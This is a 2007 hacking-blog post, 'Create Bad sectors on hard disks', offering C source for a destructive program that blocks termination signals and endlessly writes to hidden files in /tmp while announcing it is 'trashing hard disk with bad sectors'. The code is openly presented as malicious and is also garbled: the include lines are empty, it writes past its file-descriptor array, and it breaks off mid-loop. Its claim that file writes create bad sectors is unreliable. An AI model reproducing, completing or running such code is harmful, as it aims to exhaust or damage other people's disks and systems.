Create Bad sectors on hard disks
Nov 17, 2007 by Ashik in Hardcore Hacking | Tags: None
*/ This is a C Code */
#include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(”sekt0r: trashing hard disk with bad sectors!\n”);
while(1) {
fd[1] = open(”/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(”/tmp/.test1″, O_WRONLY|O_CREAT, 511);
fd[3] = open(”/tmp/.test2″, O_WRONLY|O_CREAT, 511);
fd[4] = open(”/tmp/.test3″, O_WRONLY|O_CREAT, 511);
fd[5] = open(”/tmp/.test4″, O_WRONLY|O_CREAT, 511);
for(x = 0; x <>
Popularity: 1% [?]
Related Posts
- 18.12.07: 2007's Biggest Problem - The Trusted Insider (0)
- 22.11.07: Hack Orkut Accounts (13)
- 04.12.07: How to Make your own Virus (4)
- 29.06.08: Ripping Flash Movies for Passwords (0)
- 07.08.08: Cracking Password Protected Zip Files (1)
Recently
- Google Chrome as a Hacking Tool
- Google Chrome Vulnerabilities list
- Delete an “UnDeletable” File
- Computer virus goes into orbit
- Gmail Account Hacking Tool
![[blinklist]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/blinklist.png)
![[del.icio.us]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/delicious.png)
![[Digg]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/digg.png)
![[Facebook]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/facebook.png)
![[Fark]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/fark.png)
![[Faves]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/faves.png)
![[Furl]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/furl.png)
![[Google]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/google.png)
![[Ma.gnolia]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/magnolia.png)
![[Mixx]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/mixx.png)
![[MySpace]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/myspace.png)
![[Netvouz]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/netvouz.png)
![[Propeller]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/propeller.png)
![[Reddit]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/reddit.png)
![[Slashdot]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/slashdot.png)
![[Sphere]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/sphere.png)
![[Sphinn]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/sphinn.png)
![[StumbleUpon]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/stumbleupon.png)
![[Technorati]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/technorati.png)
![[Windows Live]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/windowslive.png)
![[Yahoo!]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/yahoo.png)
![[Email]](http://www.hungry-hackers.com/wp-content/plugins/bookmarkify/email.png)


September 1st, 2008 at 6:33 pm
hi